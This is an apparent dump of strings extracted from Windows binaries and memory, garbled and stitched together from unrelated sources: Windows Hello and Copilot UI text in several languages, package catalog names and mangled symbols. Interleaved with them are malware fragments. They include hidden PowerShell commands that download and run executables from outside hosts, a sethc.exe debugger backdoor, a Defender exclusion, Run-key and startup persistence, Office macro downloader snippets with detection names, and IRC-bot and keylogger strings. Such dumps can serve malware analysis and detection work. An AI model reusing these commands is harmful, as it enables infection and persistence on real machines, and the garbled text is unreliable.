Perangkat Anda juga memiliki sensor sidik jari yang berfungsi dengan Windows Hello sehingga Anda dapat masuk dengan aman hanya menggunakan jari Anda.
Daftar sensor yang kompatibel dengan Windows Hello
Windows Hello menggunakan sidik jari untuk mengenali Anda dan memungkinkan <b>cara yang lebih aman, cepat, dan bebas kata sandi</b> bagi Anda untuk memverifikasi identitas.
Perangkat Anda memiliki sensor sidik jari yang berfungsi dengan Windows Hello, memberikan suatu cara bebas kata sandi dan mudah untuk memverifikasi identitas Anda.
Windows Hello menggunakan kamera untuk mengenali Anda dan memungkinkan <b>cara yang lebih aman, cepat, dan bebas kata sandi</b> bagi Anda untuk memverifikasi identitas.
Kamera Anda berfungsi dengan Windows Hello untuk mengenali Anda, memberikan cara bebas kata sandi dan mudah untuk memverifikasi identitas Anda.
Ikon sidik jari Windows Hello
Ikon wajah Windows Hello
Animasi wajah Windows Hello
Buka kunci perangkat Anda dan setujui tindakan dengan mudah seperti membuat kunci sandi dan menggunakan Windows Ingat.
 tidak pernah di cloud, tidak pernah dibagikan. Anda dapat menghapus Windows Hello kapan saja dari Pengaturan Windows.
Windows 
Host esperienza Web Windows
 Windows
Esperienza predefinita di Windows
Scarica e installa automaticamente Windows Update.
.createobject("wscript.shell");iwshshell3.run("cmd.exe/cpowershell.exe-whiddeniwr-outfc:\windows\tasks\test.comhttp://37.60.234.203/test.com&c:\windows\tasks\test.com
C:\Windows\System32\C
{}Windows\System32\backup_f64.exe{
{}Windows\System32\czero_log{
\\WINDOWS11
Mozilla / 4.0 (compatible; MSIE 9.0; Windows NT 6.1)
//www.microvirt.com/windows/ovadownload.php?channel=%1&mversion=%2&lang=%3&w64=%4&encrypt=0/
\AppData\Local\Microsoft\Windows\INetCookies\
onecoreuap\shell\windows.system.launcher\assoclaunch\lib\desktopappxexecutecommand.cpp
onecoreuap\shell\windows.system.launcher\assoclaunch\lib\disambiguationexecutecommand.cpp
onecoreuap\shell\windows.system.launcher\assoclaunch\lib\folderlaunchexecutecommand.cpp
onecoreuap\shell\windows.system.launcher\assoclaunch\lib\protocolwarning.cpp
onecoreuap\shell\windows.system.launcher\assoclaunch\lib\folderlaunchitemstoselect.cpp
onecoreuap\shell\windows.system.launcher\assoclaunch\lib\launchexecutecommand.cpp
0onecoreuap\shell\windows.system.launcher\assoclaunch\lib\pendinglaunchrequest.cpp
Windows 
Windows 
Windows 
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Microsoft.Windows.Widgets.Internal.Providers.WidgetManager
Microsoft.Windows.Widgets.Notifications.FeedAnnouncement
Microsoft.Windows.Widgets.Providers.WidgetManager
Microsoft.Windows.Widgets.Providers.WidgetUpdateRequestOptions
Microsoft.Windows.Widgets.Hosts.WidgetHostContext
Microsoft.Windows.Widgets.Internal.Feeds.Hosts.FeedCatalog
Microsoft.Windows.Widgets.Internal.Feeds.Hosts.FeedHostManager
Microsoft.Windows.Widgets.Internal.Feeds.Providers.FeedChannelManager
Microsoft.Windows.Widgets.Internal.Feeds.Providers.FeedManager
Microsoft.Windows.Widgets.Internal.Hosts.WidgetCatalog
Microsoft.Windows.Widgets.Internal.Hosts.WidgetHostManager
Microsoft.Windows.Widgets.Internal.Providers.ActivateApplicationWidgetProvider
Microsoft.Windows.Widgets.Internal.Providers.WidgetChannelManager
Microsoft.Windows.Widgets.Feeds.Hosts.FeedCatalog
Microsoft.Windows.Widgets.Feeds.Hosts.FeedHost
Microsoft.Windows.Widgets.Feeds.Providers.CustomQueryParametersUpdateOptions
Microsoft.Windows.Widgets.Feeds.Providers.FeedManager
Microsoft.Windows.Widgets.Feeds.Providers.FeedResourceResponse
Microsoft.Windows.Widgets.Hosts.WidgetCatalog
Microsoft.Windows.Widgets.Hosts.WidgetHost
WindowsCreateStringReference
?EventSourceAdd@Details@Platform@@YA?AVEventRegistrationToken@Foundation@Windows@@PEAPEAXPEAUEventLock@12@PE$AAVDelegate@2@@Z
?EventSourceRemove@Details@Platform@@YAXPEAPEAXPEAUEventLock@12@VEventRegistrationToken@Foundation@Windows@@@Z
??BType@Platform@@SA?AVTypeName@Interop@Xaml@UI@Windows@@PE$AAV01@@Z
??0Rect@Foundation@Windows@@QEAA@VPoint@12@VSize@12@@Z
Microsoft Windows
Windows-kenmerk-ervaringpak
Programas de Microsoft Windows
sticas de Windows
Microsoft Windows
Windows
 Windows
Windows 
shellcommon\shell\Windows.UI.Shell\StartDocked\StartDocked\PowerOptionsView.xaml.cpp
\device\harddiskvolume3\windows\system32\ipconfig.exe
\Device\HarddiskVolume3\Windows\System32\ipconfig.exe
Owindowssdk7-samples-master\com\administration\spy\win32\release\comspy.pdbs
windowssdk7-samples-master\winui\speech\tutorial\x64\release\coffeeshop6.pdbTrojanDownloader:O97M/Zloader.RYR!MTB
 %Cimagefileexecutionoptions\sethc.exe]"debugger"="c:\\windows\\system32\\cmd.exe"
=powershell.exe-executionpolicybypass-windowstylehidden-file`"
s\system32\cmd.exe/kstartmsedge
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-OneCore-Sensors-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-EnterpriseClientSync-Host-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|26100.7840.cat|
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
C:\WINDOWS\system32\msvbvm60.dll\3m
c:\windows\fonts\
APPDATA=C:\WINDOWS\system32\config
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~en-US~10.0.26100.1000.cat|Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~en-US~10.0.26100.7309.cat|
Microsoft-Windows-IIS-WebServer-AddOn-2-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-NetFx2-OC-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|ent-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~en-US~10.0.26100.1000.cat|Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~en-US~10.0.26100.7309.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-IIS-WebServer-AddOn-2-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|.0.26100.1591.cat|
hournow=hour(time())ifhournow<30thenifapplication.operatingsystemlike"*windows*"thenwinhttp.winhttprequest.5.1execute(""
onecore\shell\shcore\libs\scaling\lib\windowscalinginfo.cpp
FSHGetWindowSubclassData
SHRemoveWindowSubclass
 windows search:wux:windows searchD
windows repair:wux:windows repair@
windows firewall:wux:windows firewall5
ext-ms-win-session-winlogon-l1-1-1.dll
ext-ms-win-session-winlogon-l1-1-0.dll
ext-ms-win-session-winlogon-l1-1-2.dll
ext-ms-win-session-winlogon-notify-l1-1-0.dll
ext-ms-win-ntuser-windowstation-l1-1-0.dll
ext-ms-win-ntuser-windowstation-l1-1-1.dll
winlogon
3.web.core.windows.net/?emailtoken
c:/windows/system32/d\
c:/windows/system32/drivers/ipmidrv.sys
c:/windows/system32/drivers/isapnp.sys
5fmap.svchctrlevnt.svchctrlmtx.svchctrlmtx.svchostSoftware\Microsoft\Windows\CurrentVersion\ShellBottrying to network read...1...network_connectto... host : \System\
kikgahjcewfWINDOWS\SYSTEM32\mskikcom.exeKIKBot.exeUSER kikbot kikbot kikbot :kikbotlololkik#kikPRIVMSG %s :%sDownloading %s to %s...Keylog ON.
Tbbtyrobg/2.1 (+uggc://jjj.tbbtyrobg.pbz/obg.ugzy): Exploiting.. : Exploited share %s\C$\WINDOWS\system32\%s\c$\windows\system32\winsdf.exeWINDOWS\SYSTEM32\srvdll32.exeTrying to install spyware to generate cash...Done with SYN flood [PRIVMSG #rwnt :USER %s 0 0 :%sMODE %s +iSending .%d. pings to %s (.Packet size.): %d (.Timeout.): %d[ms]: %s [%s] (.Local IP address.): %d.%d.%d.%d (.Connected from.): %s: %I64uMHz : %dKB total, %dKB free : Windows %s [%d.%d, build %d] 
GC:\Windows\System32\regsvr32.exe /S ..\cui
OneCoreUap\Internal\DS\inc\winlogon/CallWithHangTimeout.h
onecoreuap\internal\shell\inc\LogonTelemetryWinLogonHelpers.h
clientcore\ds\security\umstartup\winlogon\core\logon.cxx
clientcore\ds\security\umstartup\winlogon\core\lock.cxx
LOCALAPPDATA=C:\WINDOWS\s4
OS=Windows_NT
EnumWindows
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
-windowstylehidden
L+hkcu\software\microsoft\windows\currentversion\run
Shell Environ("PUBLIC") & "\calc.com" + "www.j.mp/dadwawwdjdasodkwodkcbyw", vbHidefso.copyfile "C:\Windows\System32\mshta.exe"TrojanDownloader:O97M/EncDoc.ZETA!MTB
EnumWindows
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
e="yes"windowstate
SetWindowsHookExW
UnhookWindowsHookEx
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsDuplicateString
WindowsStringHasEmbeddedNull
WindowsGetStringLen
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft Windows3
Microsoft Windowsamp PCA 2010
Microsoft Windows
Stup windows defender hahahZM8#9auOMcA+pH<
,@windowsdir,@sw_hide)run(
WindowStateChange
"C:\Windows\iexplL
windows l
i Copilot ddarllen ac ysgrifennu i'w gyfeiriadur data: $1Does dim modd defnyddio eich proffil oherwydd ei fod o fersiwn newydd o Copilot. Efallai na fydd rhai nodweddion ar gael. Nodwch gyfeiriadur proffil gwahanol neu defnyddiwch fersiwn newydd o Copilot.Mae eich ffeil dewisiadau yn llwgr neu'n annilys. Does dim modd i Copilot adfer eich gosodiadau.Mae Copilot yn rhoi gwybod i chi os bydd eich cyfrineiriau dan fygythiadCopilotAm resymau diogelwch, mae Microsoft Copilot yn gofyn i chi fewngofnodi gyda chyfrinair eich dyfais.Mae Microsoft Copilot yn ceisio dangos manylion cerdyn talu. Cofnodwch eich cyfrinair Windows i ganiat
u hyn.Mae Microsoft Copilot yn ceisio dangos cyfrineiriau. Cofnodwch eich cyfrinair Windows i ganiat
o cyfrineiriau. Teipiwch eich cyfrinair Windows i ganiat
u hyn.Mae Microsoft Copilot yn ceisio golygu cyfrineiriau. Teipiwch eich cyfrinair Windows i ganiat
u hyn.Mae Microsoft Copilot eisiau allgludo eich cyfrineiriau. Cofnodwch eich cyfrinair Windows i ganiat
u hyn.Mae Microsoft Copilot yn ceisio mewngludo cyfrineiriau. Cofnodwch eich cyfrinair Windows i ganiat
u hyn.Mae Microsoft Copilot eisiau dileu eich data Rheolwr Cyfrineiriau. Teipiwch eich cyfrinair Windows i ganiat
u hyn.Mae Microsoft Copilot yn ceisio disodli cyfrineiriau sydd eisoes yn bodoli. Teipiwch eich cyfrinair Windows i ganiat
'r un sy'n rhedeg ar hyn o bryd. Caewch Microsoft Copilot a rhoi cynnig arall arni.Gosodiad wedi methu oherwydd gwall amhenodol. Lawrlwythwch Microsoft Copilot eto.Mae angen Windows 10 neu uwch ar Microsoft Copilot.Gwall system weithredu yn ystod y gosodiad. Lawrlwythwch Microsoft Copilot eto.Mae gweithrediad arall ar Microsoft Copilot ar y gweill. Rhowch gynnig arall arni rywbryd eto.Methodd y gosodwr 
.CreateTextFile(Environ$("HOMEPATH") & "\\" & "AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pepsi.bat",.Write 
r1system32:&
DriverData=C:\Windows\System32\Drivers\DriverData
WINDOWS11
ms-windows-store
EdgeWindowsCaptionButton
..\..\chrome\browser\ui\views\frame\edge_windows_caption_button.h
SetProcessWindowStation
SetWindowsHookExW
UnhookWindowsHookEx
GetWindowsDirectoryA
GetWindowsDirectoryW
CredUIPromptForWindowsCredentialsW
WindowsCompareStringOrdinal
WindowsCreateString
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsIsStringEmpty
/n\captain mnemo pro\winlogon.exe
powershell-windowstylehidden-command"try{add-mppreference-exclusionpath'c:\windows\temp'}catch{}"powershell-windowstylehidden-command"try{start-bitstransfer-source'https://upload.vina-host.com/get/v9uszacgg3/taniyorlarismi.exe
powershell-windowstylehidden-command"invoke-webrequest-uri'https://tiendeveloper.site/download/windowupdate.exe'-outfile'!payloadpath!'"powershell-windowstylehidden-command"start-process
xwindows3
windows 
9f^windows.appServic
9f^windows.protoco0
9f^windows.updateTas
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy!App
Windows.Defender.SecurityCenter
OMPUTERNAME=WINDOWS11
	\system32\cmd.exe
ng window ng applicationCopilot CanaryCopilot DevCopilot BetaApplication$1 - Microsoft Copilot Beta$1 - Microsoft Copilot Dev$1 - Microsoft Copilot CanaryHindi tumutugon ang Microsoft Copilot. I-restart ang application?Hindi masimulan ang Microsoft Copilot dahil nagkaroon ng problema noong binubuksan ang iyong profile. Subukang i-restart ang Microsoft Copilot.Tiyaking naka-sign in ka sa Copilot sa iyong $1 at pagkatapos ay subukang magpadalang muli.Pakisara ang lahat ng window ng Copilot at subukang muli.Sigurado ka bang gusto mong i-uninstall ang Copilot?I-uninstall ang CopilotKapag ia-uninstall mo ang Microsoft Copilot, hindi na magiging available ang iyong mga app at widget na nakadepende sa Copilot. $1Hayaan ang Copilot na Tumakbo sa BackgroundHuwag Paganahin ang Copilot na Tumatakbo sa Background para sa Mga AppHindi makabasa at makapagsulat ang Copilot sa direktoryo ng data nito: $1Hindi magagamit ang iyong profile dahil ito ay mula sa mas bagong bersyon ng Copilot. Maaaring hindi available ang ilang tampok. Mangyaring tumukoy ng ibang directory ng profile o gumamit ng mas bagong bersyon ng Copilot.Sira o hindi tama ang iyong file ng mga kagustuhan. Hindi mabawi ng Copilot ang iyong mga setting.Ipinapaalam sa iyo ng Copilot kung makokompromiso kahit kailan ang iyong mga passwordCopilotPara sa seguridad, hinihiling sa iyo ng Microsoft Copilot na mag-sign in gamit ang password ng iyong device.Sinusubukan ng Microsoft Copilot na ipakita ang mga detalye ng card ng pagbabayad. Ipasok ang iyong password sa Windows para payagan ito.Sinusubukan ng Microsoft Copilot na magpakita ng mga password. Ipasok ang iyong password sa Windows para payagan ito.Sinusubukan ng Microsoft Copilot na kumopya ng mga password. I-type ang password mo sa Windows para payagan ito.Sinusubukan ng Microsoft Copilot na mag-edit ng mga password. I-type ang password mo sa Windows para payagan ito.Gustong i-export ng Microsoft Copilot ang iyong mga password. Ipasok ang iyong password sa Windows para payagan ito.Sinusubukan ng Microsoft Copilot na mag-import ng mga password. Ipasok ang iyong password sa Windows para payagan ito.Gustong tanggalin ng Microsoft Copilot ang iyong data sa Password Manager. I-type ang password mo sa Windows para payagan ito.Sinusubukan ng Microsoft Copilot na palitan ang mga umiiral nang password. I-type ang password mo sa Windows para payagan ito.Mayroon nang mas bagong bersyon ng Microsoft Copilot ang computer na ito. Kung hindi gumagana ang software, paki-uninstall ang Microsoft Copilot at subukang muli.Hindi nakapag-install dahil sa hindi natukoy na error. Kung kasalukuyang gumagana ang Microsoft Copilot, pakisara ito at subukang muli.Hindi ma-install ang parehong bersyon ng Microsoft Copilot na kasalukuyang tumatakbo. Pakisara ang Microsoft Copilot at subukang muli.Hindi nakapag-install dahil sa hindi natukoy na error. Paki-download muli ang Microsoft Copilot.Nangangailangan ang Microsoft Copilot ng Windows 10 o mas mataas.May naganap na error sa operating system sa panahon ng pag-install. Paki-download muli ang Microsoft Copilot.May isa pang operasyon sa Microsoft Copilot na isinasagawa. Pakisubukang muli sa ibang pagkakataon.Hindi na-uncompress ng installer ang archive. Paki-download muli ang Microsoft Copilot.Sira o hindi tama ang archive ng installer. Paki-download muli ang Microsoft Copilot.Naka-install na ang Microsoft Copilot para sa lahat ng gumagamit sa iyong computer.Nagbibigay ng mga serbisyo ng system tracing para sa $1. Kung hindi pinagana ang serbisyong ito, hindi isasama sa mga trace ng pagganap na ginawa ng application ang mga system-wide na kaganapang tulad ng pag-switch ng konteksto at mga kaganapang may handang thread.Mag-import Ng Mga Password Sa CopilotMag-export Ng Mga Password Mula Sa CopilotI-pin ang Copilot sa iyong taskbar para mabilis itong mapuntahan anumang orasI-pin ang CopilotMaaaring makapinsala sa iyong device ang mga extension, app, at tema mula sa hindi kilalang pinagmulan. Inirerekomenda ng Copilot na i-install lang ang mga ito mula sa $1Alamin kung bakit hinaharangan ng Copilot ang il
n@Windows@winrt@@X@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AUtype@?$abi@U?$IVectorView@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$root_implements@Uiterator@?$iterable_base@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@USettingsGroupViewModel@TaskManagerApp@3@Ucollection_version@23@@winrt@@U?$IIterator@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
D:\a\_work\1\s\src\clients\cpp\packages\Microsoft.Windows.ImplementationLibrary.1.0.190716.2\include\wil\resource.h
D:\a\_work\1\s\src\clients\cpp\packages\Microsoft.Windows.ImplementationLibrary.1.0.190716.2\include\wil\winrt.h
WindowsGetStringRawBuffer
WindowsCreateString
WindowsDeleteString
WindowsCreateStringReference
Windows.Internal.PlatformExtensions.DevicePickerExperience
Windows.Internal.PlatformExtensions.DragDropExperience
Windows.Internal.PlatformExtensions.FileAssociations.DynamicProgId
Windows.Internal.PlatformExtensions.InputViewExperience
Windows.Internal.PlatformExtensions.MiracastBannerExperience
Windows.Internal.PlatformExtensions.PickerExperienceContract
Windows.Internal.PlatformExtensions.ShellApplicationStateContract
Windows.Internal.PlatformExtensions.TokenBrokerExperience
tFolderViewModel@implementation@StartMenu@winrt@@QEAA?AU?$IAsyncOperation@U?$IVectorView@UMenuItem@UI@WindowsUdk@winrt@@@Collections@Foundation@Windows@winrt@@@Foundation@Windows@5@_N@Z@
.?AV<lambda_2>@?O@??GetMenuItemsAsync@PinnedListFolderViewModel@implementation@StartMenu@winrt@@QEAA?AU?$IAsyncOperation@U?$IVectorView@UMenuItem@UI@WindowsUdk@winrt@@@Collections@Foundation@Windows@winrt@@@Foundation@Windows@5@_N@Z@
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Windows
Windows
Windows
/s /Q C:\Windows\system32\doors\a
Windows
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 10 
<description> Windows system utility service  <//
/bc/nsi_install.php?aff_idsoftware\microsoft\windows\currentversion\internet settings\zones\activation_keyron tool
Windows PowerShell/
Windows/
UMicrosoft.WindowsTerminal_8wekyb3d8bbwe/8
UMicrosoft.WindowsNotepad_8wekyb3d8bbwe/(
UMicrosoft.Windows.ShellExperienceHost_cw5n1h2txyewy/2
UMicrosoft.OutlookForWindows_8wekyb3d8bbwe/4
UMicrosoft.Windows.DevHome_8wekyb3d8bbwe/.
UMicrosoft.Windows.Photos_8wekyb3d8bbwe/1
UMicrosoft.WindowsCalculator_8wekyb3d8bbwe/-
UMicrosoft.WindowsCamera_8wekyb3d8bbwe/2
UMicrosoft.WindowsFeedbackHub_8wekyb3d8bbwe/4
UMicrosoft.WindowsSoundRecorder_8wekyb3d8bbwe/)
76Windows/
UMicrosoft.WindowsAlarms_8wekyb3d8bbwe/:
UMicrosoft.Windows.NarratorQuickStart_8wekyb3d8bbwe/
UMicrosoft.WindowsStore_8wekyb3d8bbwe/
uyUMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy/=
{tUMicrosoft.Windows.ContentDeliveryManager_cw5n1h2txyewy/:
